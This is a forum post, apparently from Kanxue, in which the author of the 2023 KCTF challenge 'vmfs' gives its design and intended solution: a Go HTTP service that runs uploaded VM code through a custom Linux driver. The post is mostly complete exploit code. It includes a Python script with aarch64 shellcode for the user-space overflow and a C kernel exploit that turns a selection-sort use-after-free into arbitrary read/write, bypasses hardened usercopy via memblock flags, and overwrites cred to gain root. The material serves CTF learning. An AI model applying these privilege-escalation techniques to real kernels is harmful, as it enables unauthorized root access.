首页
社区
课程
招聘
[原创]2023 KCTF 年度赛 - vmfs
2023-8-15 17:24 3997

[原创]2023 KCTF 年度赛 - vmfs

Ex_ 活跃值
1
2023-8-15 17:24
3997

团队名称:星盟安全团队
团长QQ:2462148389
参赛题目:vmfs
目答案(攻击脚本)、详细的题目设计说明和破解思路:详见百度网盘

链接:https://pan.baidu.com/s/16Kxgwoa3CFU8e1fO2XuJkQ?pwd=uirm
提取码:uirm
--来自百度网盘超级会员V7的分享

设计思路:

vmfs

功能

vm 中开启了一个 http 服务,该服务可以运行用户上传的代码,代码文件保存在 /dev/vmfs 驱动中,单独运行 vm 程序是无法执行代码的,因为程序无法找到驱动。

用户可以上传自己的代码,之后发送运行指令,使得代码在 vm 程序中执行,并返回执行得到的结果。

用户态功能

1
2
3
/api/create-file  创建文件
/api/write-file   写文件
/api/run-file     运行文件

内核态功能

1
2
3
4
5
6
#define VMFS_CREATE_FILE        0xff00 // 创建文件节点
#define VMFS_MOVE_TO_TRASH      0xff01 // 将文件节点移动到回收站
#define VMFS_DELETE_FROM_TRASH  0xff02 // 彻底删除文件节点
#define VMFS_WRITE_FILE         0xff03 // 写文件节点
#define VMFS_READ_FILE          0xff04 // 读文件节点
#define VMFS_SORT_FILE          0xff05 // 对文件节点进行排序

用户态漏洞

虚拟机的结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
00000000 main_machine_0 struc ; (sizeof=0x80A0, align=0x8, copyof_2879)
00000000                                         ; XREF: main.runVM/r
00000000                                         ; main.runFile/r
00000000 reg DCQ 16 dup(?)
00000080 _pc DCQ ?                               ; XREF: main.runVM:loc_1F96C8/r
00000080                                         ; main.runVM+88/r ...
00000088 code DCQ 4096 dup(?)                    ; XREF: main.runVM+24/o
00008088 data _slice_uint64 ?
000080A0 main_machine_0 ends
 
00000000 _slice_uint64 struc ; (sizeof=0x18, align=0x8, copyof_224)
00000000                                         ; XREF: .data:crypto_sha512._K/r
00000000                                         ; main_machine_0/r ...
00000000 array DCQ ?                             ; XREF: crypto_sha512.blockGeneric+27C/r
00000000                                         ; crypto_sha512.blockAsm+10/r ; offset
00000008 len DCQ ?                               ; XREF: runtime._ptr_profBuf.write+38/w
00000008                                         ; runtime._ptr_profBuf.write+88/r ...
00000010 cap DCQ ?                               ; XREF: runtime._ptr_profBuf.write+4AC/w
00000010                                         ; runtime._ptr_profBuf.write+4D8/r ...
00000018 _slice_uint64 ends

在 runFile 函数中,req.size 可以由用户控制,而 vm.code 的大小仅有 0x8000 字节,当 req.size 大于 0x8000 字节时将溢出到后面的 data 结构体。但是,这要求目标文件节点本身就大于 0x8000 字节,否则驱动将会读取失败。

func runFile(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Content-Type", "application/json")
    w.Header().Set("Access-Control-Allow-Origin", "*")

    var req Req
    err := json.NewDecoder(r.Body).Decode(&req)
    if err != nil {
        http.Error(w, err.Error(), http.StatusBadRequest)
        return
    }

    f, err := os.OpenFile(dev_path, syscall.O_RDONLY, 0600)
    if err != nil {
        http.Error(w, "Internal Server Error", http.StatusInternalServerError)
        return
    }

    var vm machine
    vm.data = make([]uint64, 0x1000)

    data := user_argv{
        id:             uint64(req.Id),
        addr:           uintptr(unsafe.Pointer(&(vm.code))),
        size:           uint64(req.Size),
        choose_index:   uint64(req.ChooseIndex),
        sort_option:    uint64(0),
    }
    _, _, errno := syscall.Syscall(
        syscall.SYS_IOCTL,
        uintptr(f.Fd()),
        uintptr(VMFS_READ_FILE),
        uintptr(unsafe.Pointer(&data)),
    )

    f.Close()

    if errno != 0 {
        http.Error(w, "Internal Server Error", http.StatusInternalServerError)
        return
    }

    message := VmMessage{
        Text: "success",
        Return: runVM(vm),
    }

    response, err := json.Marshal(message)
    if err != nil {
        http.Error(w, "Internal Server Error", http.StatusInternalServerError)
        return
    }

    w.Write(response)
}

在 createFile 中可以看到程序限制了创建文件的大小,用户无法通过 createFile 请求来创建 大于 0x8000 字节的文件节点。

func createFile(w http.ResponseWriter, r *http.Request) {
    w.Header().Set("Content-Type", "application/json")
    w.Header().Set("Access-Control-Allow-Origin", "*")

    var req Req
    err := json.NewDecoder(r.Body).Decode(&req)
    if err != nil {
        http.Error(w, err.Error(), http.StatusBadRequest)
        return
    }
    if req.Size > 0x1000 * 8 {
        http.Error(w, "Internal Server Error", http.StatusInternalServerError)
        return
    }
    ...
}

驱动初始化的时候会创建一下大小为 0x10000 节点的文件,因此可以用该文件节点来达到利用目的。

static int struct_initial(void)
{
    int i;
    struct node *tmp = NULL;

    for (i = 0; i < LENGTH; i++)
    {
        list[i] = NULL;
        trash[i].id = NONE;
        trash[i].freed = NULL;
    }


    tmp = (struct node *)kmalloc(sizeof(struct node), GFP_KERNEL);
    if(!tmp)
    {
        return NONE;
    }
    memset(tmp, 0, sizeof(struct node));
    tmp->id = 0x636db8c2;
    tmp->msg_len = 0x10000;
    tmp->msg = (char *)kmalloc(0x10000, GFP_KERNEL);
    if(!(tmp->msg))
    {
        return NONE;
    }

    memset(tmp->msg, 0, 0x10000);

    list[0] = tmp;

    return 0;
}

当控制了 vm.data 结构体之后,我们就拥有了任意地址读写的能力。

func runVM(vm machine)(r uint64){
    r = 0xdeadbeef
    end:
    for vm.pc < 0x1000 {
        switch vm.code[vm.pc] {
        case 0:
            break end
        case 1:
            if vm.code[vm.pc + 1] >= 16 || vm.code[vm.pc + 2] >= 16{
                return
            }
            vm.reg[vm.code[vm.pc + 1]] += vm.reg[vm.code[vm.pc + 2]]
            vm.pc += 3
        case 2:
            if vm.code[vm.pc + 1] >= 16 || vm.code[vm.pc + 2] >= 16{
                return
            }
            vm.reg[vm.code[vm.pc + 1]] -= vm.reg[vm.code[vm.pc + 2]]
            vm.pc += 3
        case 3:
            if vm.code[vm.pc + 1] >= 16 || vm.code[vm.pc + 2] >= 16{
                return
            }
            vm.reg[vm.code[vm.pc + 1]] *= vm.reg[vm.code[vm.pc + 2]]
            vm.pc += 3
        case 4:
            if vm.code[vm.pc + 1] >= 16 || vm.code[vm.pc + 2] >= 16{
                return
            }
            vm.reg[vm.code[vm.pc + 1]] /= vm.reg[vm.code[vm.pc + 2]]
            vm.pc += 3
        case 5:
            if vm.code[vm.pc + 1] >= 16 {
                return
            }
            vm.reg[vm.code[vm.pc + 1]] = vm.code[vm.pc + 2]
            vm.pc += 3
        case 6:
            if vm.code[vm.pc + 1] >= 16 || vm.code[vm.pc + 2] >= uint64(len(vm.data)) {
                return
            }
            vm.reg[vm.code[vm.pc + 1]] = vm.data[vm.code[vm.pc + 2]]
            vm.pc += 3
        case 7:
            if vm.code[vm.pc + 1] >= uint64(len(vm.data)) || vm.code[vm.pc + 2] >= 16 {
                return
            }
            vm.data[vm.code[vm.pc + 1]] = vm.reg[vm.code[vm.pc + 2]]
            vm.pc += 3
        case 8:
            if vm.code[vm.pc + 1] >= 16 || vm.code[vm.pc + 2] >= 16 || vm.reg[vm.code[vm.pc + 2]] >= uint64(len(vm.data)) {
                return
            }
            vm.reg[vm.code[vm.pc + 1]] = vm.data[vm.reg[vm.code[vm.pc + 2]]]
            vm.pc += 3
        case 9:
            if vm.code[vm.pc + 1] >= 16 || vm.code[vm.pc + 2] >= 16 || vm.reg[vm.code[vm.pc + 1]] >= uint64(len(vm.data)) {
                return
            }
            vm.data[vm.reg[vm.code[vm.pc + 1]]] = vm.reg[vm.code[vm.pc + 2]]
            vm.pc += 3
        default:
            return
        }
    }
    r = vm.reg[0]
    return
}

由于用户态还设置了沙箱保护,禁用了execve系统调用。

1
2
3
4
5
6
7
8
9
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x04 0xc00000b7  if (A != ARCH_AARCH64) goto 0006
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x02 0x00 0x00000142  if (A == execveat) goto 0006
 0004: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x06 0x00 0x00 0x00000000  return KILL

所以需要攻击者在内存中自行布置攻击代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
# user
 
def req(api, data):
    json_str = json.dumps(data)
    sh.send((
f'''POST {api} HTTP/1.1
Host: {host}:{port}
Accept: */*
Connection: keep-alive
Content-Length: {len(json_str)}
Content-Type: application/json
 
'''.replace('\n', '\r\n') + json_str).encode())
     
vm_code = []
def write(address, value):
    global vm_code
    vm_code += [5, 0, value]
    vm_code += [7, address//8, 0]
write(0x498f10, 0x68732f6e69622f)
write(0x498f00, 0x498f10)
 
 
shellcode = asm(
'''
 
mov x8, 220
mov x0, 19
mov x1, 0
svc 0 ;// fork
 
cmp x0, 0
 
bne over
 
;// child
 
mov x8, 24
mov x0, 4
mov x1, 0
mov x2, 0
svc 0 ;// dup3(4, 0, 0)
 
mov x8, 24
mov x0, 1
mov x1, 4
mov x2, 0
svc 0 ;// dup3(1, 4, 0)
 
mov x8, 24
mov x0, 0
mov x1, 1
mov x2, 0
svc 0 ;// dup3(0, 1, 0)
 
mov x8, 24
mov x0, 0
mov x1, 2
mov x2, 0
svc 0 ;// dup3(0, 2, 0)
 
mov x8, 25
mov x0, 0
mov x1, 4
mov x2, 0
svc 0 ;// fcntl(0, F_SETFL, 0)
 
str    x0, [sp, 0]
mov x0, 0
mov x1, sp
mov x2, 8
mov x8, 64
svc 0
 
mov x8, 63
mov x0, 0
adr x1, 12
mov x2, 0x800
svc 0 ;// read(0, shellcode, 0x800)
 
shellcode:
 
over:
mov x8, 172
svc 0 ;// getpid
 
mov x8, 129
mov x1, 19
svc 0 ;// kill(self, SIGSTOP)
 
''')
 
shellcode_i = 0
while(shellcode):
    tmp = shellcode[:8].ljust(8, b'\0')
    shellcode = shellcode[8:]
    write(0x498000 + shellcode_i, u64(tmp))
    shellcode_i += 8
 
stack_list = [0x400011b000, 0x400012b000, 0x4000187000]
for stack_addr in stack_list:
    write(stack_addr+0x820, 0x12808)
 
    write(stack_addr+0x840, 0x498000)
 
    write(stack_addr+0x860, 7)
    write(stack_addr+0x858, 0x1000)
    write(stack_addr+0x850, 0x498000)
    write(stack_addr+0x848, 226)
 
 
payload = {"Id":0x636db8c2, "ChooseIndex":0, "Size": 0x8018, "Data":vm_code + [0] * (0x1000 - len(vm_code)) + [0, 0x7fffffffffffffff, 0x7fffffffffffffff]}
req('/api/write-file', payload)
payload = {"Id":0x636db8c2, "ChooseIndex":0, "Size": 0x8018}
req('/api/run-file', payload)
 
sh.recvuntil(b'\0' * 8)

由于go启动的http服务对socket进行了设置,所以这里直接从socket读取内容会失败。

因此需要fork出一个新的进程来保持干净的环境。

同时将父进程挂起,防止系统关机。

随后子进程需要使用 fcntl(0, F_SETFL, 0) 来重置socket,重置之后 socket 才能恢复正常。

内核态漏洞

回收站并不会保存文件节点的地址,而是保存文件节点的索引,当文件处在回收站后,文件节点将不再可读写。驱动提供了四种排序方式,其中选择排序 VMFS_SELECTION_SORT 是不稳定的排序算法,正如数据结构这门课程里面提到的那样 ,当序列中有相同大小的值时,执行选择排序后他们的位置可能会发生变化。若使用选择排序,已删除的节点和未删除的节点就可能会混淆,从而导致UAF漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
static ssize_t vmfs_ioctl(struct file *file, unsigned int cmd, size_t arg)
{
    struct user_argv argv;
    size_t result = 0;
 
    mutex_lock(&vmfs_lock);
 
    if(result == 0 && copy_from_user(&argv, (void *)arg, sizeof(argv)))
    {
        result = -1;
    }
 
    if(result == 0 && argv.id == NONE)
    {
        result = -1;
    }
 
    if(result == 0)
    {
        switch (cmd)
        {
        case VMFS_CREATE_FILE:
            if(result == 0 && add(argv.size, argv.id))
            {
                result = -1;
            }
            break;
        case VMFS_MOVE_TO_TRASH:
            if(result == 0 && move_to_trash(argv.id, argv.choose_index))
            {
                result = -1;
            }
            break;
        case VMFS_DELETE_FROM_TRASH:
            if(result == 0 && delete_from_trash(argv.id, argv.choose_index))
            {
                result = -1;
            }
            break;
        case VMFS_WRITE_FILE:
            if(result == 0 && write_file(argv.id, argv.addr, argv.size, argv.choose_index))
            {
                result = -1;
            }
            break;
        case VMFS_READ_FILE:
            if(result == 0 && read_file(argv.id, argv.addr, argv.size, argv.choose_index))
            {
                result = -1;
            }
            break;
        case VMFS_SORT_FILE:
            switch (argv.sort_option)
            {
            case VMFS_BUBBLE_SORT:
                bubble_sort();
                break;
            case VMFS_INSERT_SORT:
                insert_sort();
                break;
            case VMFS_SELECTION_SORT:
                selection_sort();
                break;
            case VMFS_MERGE_SORT:
                merge_sort();
                break;
            default:
                result = -1;
                break;
            }
            break;
        default:
            result = -1;
            break;
        }
    }
     
    mutex_unlock(&vmfs_lock);
 
    return result;
}

举个简单的例子,将下面的序列进行选择排序

1
5* 5 2

此时两个5的顺序发生了变化,结果是5* 排在 了 5后面。

1
2 5 5*

知道了原理后就可以利用该漏洞构造任意地址读写。

由于内核开了 CONFIG_STATIC_USERMODEHELPER 保护,因此无法劫持 modprobe_path 来达到提权目的。同时内核还开启了 CONFIG_HARDENED_USERCOPY ,函数 copy_from_usercopy_to_user 无法直接读写 task_structcred

让我们查看源码来寻求绕过方法,首先定位到 CONFIG_HARDENED_USERCOPY 的定义:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#ifdef CONFIG_HARDENED_USERCOPY
/*
 * Rejects incorrectly sized objects and objects that are to be copied
 * to/from userspace but do not fall entirely within the containing slab
 * cache's usercopy region.
 *
 * Returns NULL if check passes, otherwise const char * to name of cache
 * to indicate an error.
 */
void __check_heap_object(const void *ptr, unsigned long n,
             const struct slab *slab, bool to_user)
{
    struct kmem_cache *s;
    unsigned int offset;
    bool is_kfence = is_kfence_address(ptr);
 
    ptr = kasan_reset_tag(ptr);
 
    /* Find object and usable object size. */
    s = slab->slab_cache;
 
    /* Reject impossible pointers. */
    if (ptr < slab_address(slab))
        usercopy_abort("SLUB object not in SLUB page?!", NULL,
                   to_user, 0, n);
 
    /* Find offset within object. */
    if (is_kfence)
        offset = ptr - kfence_object_start(ptr);
    else
        offset = (ptr - slab_address(slab)) % s->size;
 
    /* Adjust for redzone and reject if within the redzone. */
    if (!is_kfence && kmem_cache_debug_flags(s, SLAB_RED_ZONE)) {
        if (offset < s->red_left_pad)
            usercopy_abort("SLUB object in left red zone",
                       s->name, to_user, offset, n);
        offset -= s->red_left_pad;
    }
 
    /* Allow address range falling entirely within usercopy region. */
    if (offset >= s->useroffset &&
        offset - s->useroffset <= s->usersize &&
        n <= s->useroffset - offset + s->usersize)
        return;
 
    usercopy_abort("SLUB object", s->name, to_user, offset, n);
}
#endif /* CONFIG_HARDENED_USERCOPY */

__check_heap_object 源码中没有什么方便的绕过方式,因此找到其上一层的调用函数 check_heap_object

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
static inline void check_heap_object(const void *ptr, unsigned long n,
                     bool to_user)
{
    unsigned long addr = (unsigned long)ptr;
    unsigned long offset;
    struct folio *folio;
 
    if (is_kmap_addr(ptr)) {
        offset = offset_in_page(ptr);
        if (n > PAGE_SIZE - offset)
            usercopy_abort("kmap", NULL, to_user, offset, n);
        return;
    }
 
    if (is_vmalloc_addr(ptr) && !pagefault_disabled()) {
        struct vmap_area *area = find_vmap_area(addr);
 
        if (!area)
            usercopy_abort("vmalloc", "no area", to_user, 0, n);
 
        if (n > area->va_end - addr) {
            offset = addr - area->va_start;
            usercopy_abort("vmalloc", NULL, to_user, offset, n);
        }
        return;
    }
 
    if (!virt_addr_valid(ptr))
        return;
 
    folio = virt_to_folio(ptr);
 
    if (folio_test_slab(folio)) {
        /* Check slab allocator for flags and size. */
        __check_heap_object(ptr, n, folio_slab(folio), to_user);
    } else if (folio_test_large(folio)) {
        offset = ptr - folio_address(folio);
        if (n > folio_size(folio) - offset)
            usercopy_abort("page alloc", NULL, to_user, offset, n);
    }
}

其中 virt_addr_valid 判断失败的话则可以直接绕过 __check_heap_object 检查。

virt_addr_valid 函数如下:

1
2
3
4
5
6
7
8
9
10
int pfn_is_map_memory(unsigned long pfn)
{
        phys_addr_t addr = PFN_PHYS(pfn);
 
        /* avoid false positives for bogus PFNs, see comment in pfn_valid() */
        if (PHYS_PFN(addr) != pfn)
                return 0;
 
        return memblock_is_map_memory(addr);
}

通常我们会在内存的第一块区域,所以i=0

1
2
3
4
5
6
7
8
bool __init_memblock memblock_is_map_memory(phys_addr_t addr)
{
    int i = memblock_search(&memblock.memory, addr);
 
    if (i == -1)
        return false;
    return !memblock_is_nomap(&memblock.memory.regions[i]);
}

memblock_is_nomap函数如下:

1
2
3
4
static inline bool memblock_is_nomap(struct memblock_region *m)
{
    return m->flags & MEMBLOCK_NOMAP;
}

简单来说只要其物理地址的标志位带有 MEMBLOCK_NOMAP 则会返回 0。

1
enum memblock_flags {MEMBLOCK_NONE, MEMBLOCK_HOTPLUG, MEMBLOCK_MIRROR, MEMBLOCK_NOMAP = 4, MEMBLOCK_DRIVER_MANAGED = 8}

因此我们要做的就是修改 memblock_memory_init_regions[0].flagsMEMBLOCK_NOMAP ,这样就可以绕过 __check_heap_object 检查。

1
memblock_memory_init_regions[0].flags = MEMBLOCK_NOMAP

恰好 memblock_memory_init_regions[0].flags 位于内核数据段上,因此有任意地址读写能力后很容易就能实现该修改操作。

在该题目中 memblock_memory_init_regions[0].flags 位于 0xffff80000a2ae1f8 地址上。

利用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
 
#define VMFS_CREATE_FILE        0xff00
#define VMFS_MOVE_TO_TRASH      0xff01
#define VMFS_DELETE_FROM_TRASH  0xff02
#define VMFS_WRITE_FILE         0xff03
#define VMFS_READ_FILE          0xff04
#define VMFS_SORT_FILE          0xff05
 
#define VMFS_BUBBLE_SORT        1
#define VMFS_INSERT_SORT        2
#define VMFS_SELECTION_SORT     3
#define VMFS_MERGE_SORT         4
 
struct user_argv
{
    size_t id;
    char *addr;
    size_t size;
    size_t choose_index;
    size_t sort_option;
};
 
struct node
{
    size_t id;
    size_t msg_len;
    char *msg;
};
 
int vmfs_fd = 0;
size_t kernel_base_addr = 0;
#define REAL(addr) (kernel_base_addr - 0xffff800008000000 + (addr))
#define INIT_TASK 0xffff800009ee4200
 
int leak()
{
    struct user_argv argv;
    char buf[0x100];
 
    memset(&argv, 0, sizeof(argv));
    argv.id = 0x7352eda5;
    argv.size = 0x200;
    ioctl(vmfs_fd, VMFS_CREATE_FILE, &argv);
 
    memset(&argv, 0, sizeof(argv));
    argv.id = 0x7352eda5;
    argv.size = 0x200;
    ioctl(vmfs_fd, VMFS_CREATE_FILE, &argv);
 
    memset(&argv, 0, sizeof(argv));
    argv.id = 0x7352eda0;
    argv.size = 0x200;
    ioctl(vmfs_fd, VMFS_CREATE_FILE, &argv);
 
    memset(&argv, 0, sizeof(argv));
    argv.id = 0x7352eda5;
    argv.choose_index = 0;
    ioctl(vmfs_fd, VMFS_MOVE_TO_TRASH, &argv);
 
    open("/dev/ptmx", O_RDONLY);
 
    memset(&argv, 0, sizeof(argv));
    argv.sort_option = VMFS_SELECTION_SORT;
    ioctl(vmfs_fd, VMFS_SORT_FILE, &argv);
 
    memset(&argv, 0, sizeof(argv));
    memset(&buf, 0, sizeof(buf));
    argv.id = 0x7352eda5;
    argv.size = 0x100;
    argv.addr = buf;
    argv.choose_index = 1;
    ioctl(vmfs_fd, VMFS_READ_FILE, &argv);
    kernel_base_addr = *(size_t*)(buf + 0x20) - 0x7b6270;
    printf("kernel_base_addr: %#lx\n", kernel_base_addr);
 
    return 0;
}
 
int construct_arbitrary_read_write()
{
    struct user_argv argv;
 
    memset(&argv, 0, sizeof(argv));
    argv.id = 0x796041b5;
    argv.size = 0x20;
    ioctl(vmfs_fd, VMFS_CREATE_FILE, &argv);
 
    memset(&argv, 0, sizeof(argv));
    argv.id = 0x796041b5;
    argv.size = 0x20;
    ioctl(vmfs_fd, VMFS_CREATE_FILE, &argv);
 
    memset(&argv, 0, sizeof(argv));
    argv.id = 0x796041b0;
    argv.size = 0x20;
    ioctl(vmfs_fd, VMFS_CREATE_FILE, &argv);
 
    memset(&argv, 0, sizeof(argv));
    argv.id = 0x796041b5;
    argv.choose_index = 0;
    ioctl(vmfs_fd, VMFS_MOVE_TO_TRASH, &argv);
 
    memset(&argv, 0, sizeof(argv));
    argv.sort_option = VMFS_SELECTION_SORT;
    ioctl(vmfs_fd, VMFS_SORT_FILE, &argv);
 
    memset(&argv, 0, sizeof(argv));
    argv.id = 0x796041b6;
    argv.size = 0x200;
    ioctl(vmfs_fd, VMFS_CREATE_FILE, &argv);
 
    return 0;
}
 
int arbitrary_read(size_t dst, void *out_buf, size_t length)
{
    struct user_argv argv;
    char buf[0x100];
    struct node *nptr;
 
    memset(&argv, 0, sizeof(argv));
    memset(&argv, 0, sizeof(argv));
    argv.id = 0x796041b5;
    argv.size = 0x20;
    argv.addr = buf;
    argv.choose_index = 1;
    memset(buf, 0, sizeof(buf));
    nptr = (struct node *)buf;
    nptr->id = 0x796041b6;
    nptr->msg_len = length;
    nptr->msg = (char *)(dst);
    ioctl(vmfs_fd, VMFS_WRITE_FILE, &argv);
 
    memset(&argv, 0, sizeof(argv));
    argv.id = 0x796041b6;
    argv.size = length;
    argv.addr = out_buf;
    argv.choose_index = 0;
    ioctl(vmfs_fd, VMFS_READ_FILE, &argv);
 
    return 0;
}
 
int arbitrary_write(size_t dst, void *in_buf, size_t length)
{
    struct user_argv argv;
    char buf[0x100];
    struct node *nptr;
 
    memset(&argv, 0, sizeof(argv));
    memset(&argv, 0, sizeof(argv));
    argv.id = 0x796041b5;
    argv.size = 0x20;
    argv.addr = buf;
    argv.choose_index = 1;
    memset(buf, 0, sizeof(buf));
    nptr = (struct node *)buf;
    nptr->id = 0x796041b6;
    nptr->msg_len = length;
    nptr->msg = (char *)(dst);
    ioctl(vmfs_fd, VMFS_WRITE_FILE, &argv);
 
 
    memset(&argv, 0, sizeof(argv));
    argv.id = 0x796041b6;
    argv.size = length;
    argv.addr = in_buf;
    argv.choose_index = 0;
    ioctl(vmfs_fd, VMFS_WRITE_FILE, &argv);
 
    return 0;
}
 
size_t get_current_task()
{
    size_t init_task = REAL(INIT_TASK), task = init_task;
    size_t result = 0;
    size_t name = 0;
    size_t out_result;
    int i = 0;
 
    #define NAME_OFFSET 0x680
    #define TASK_OFFSET 0x3a8
 
    while(result == 0 && i++ < 8)
    {
        out_result = 0;
        arbitrary_read(task + TASK_OFFSET + 8, &out_result, sizeof(out_result)) - TASK_OFFSET;
        task = out_result - TASK_OFFSET;
        printf("task: %#llx\n", task);
        if(task == init_task)
        {
            break;
        }
        name = 0;
        arbitrary_read(task + NAME_OFFSET, &name, sizeof(name));
        printf("name: %s\n", (char *)&name);
        if((name & 0xffff) == 0x6d76) // "vm"
        {
            result = task;
        }
    }
 
    return result;
}
 
int modify_current_cred()
{
    size_t current_task = 0;
    size_t value = 0;
    size_t current_cred = 0;
    int memblock_memory_init_regions_0_flag = 4;
    char buf[0x20];
     
    arbitrary_write(REAL(0xffff80000a2b31f8), &memblock_memory_init_regions_0_flag, sizeof(memblock_memory_init_regions_0_flag)); // memblock_memory_init_regions[0].flags
     
    current_task = get_current_task();
    if(current_task == 0)
    {
        fprintf(stderr, "Error: Not found current_task\n");
        kill(-1, SIGKILL);
        exit(EXIT_FAILURE);
    }
    printf("current_task: %#lx\n", current_task);
 
    arbitrary_read(current_task + 0x668, &current_cred, sizeof(current_cred));
    printf("current_cred: %#lx\n", current_cred);
 
    memset(buf, 0, sizeof(0));
    arbitrary_write(current_cred + 4, buf, sizeof(buf));
 
    printf("uid: %d\n", getuid());
 
    return 0;
}
 
int readflag()
{
    int fd = 0;
    char buf[0x100];
    int result;
 
    setuid(0);
 
    fd = open("/flag", O_RDONLY);
    if(fd == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }
     
    memset(buf, 0, sizeof(buf));
     
    result = read(fd, buf, sizeof(buf)-1);
    printf("result: %d\n", result);
 
    write(STDOUT_FILENO, buf, result);
 
    close(fd);
 
    return 0;
}
 
int main()
{
    setbuf(stdout, NULL);
 
    vmfs_fd = open("/dev/vmfs", O_RDONLY);
    if(vmfs_fd == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }
 
    leak();
 
    construct_arbitrary_read_write();
 
    modify_current_cred();
 
    readflag();
 
    return 0;
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2023-9-22 18:32 被kanxue编辑 ,原因:
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 32410
活跃值: (18730)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2023-8-28 15:16
2
0
         第九题 突破防线
游客
登录 | 注册 方可回帖
返回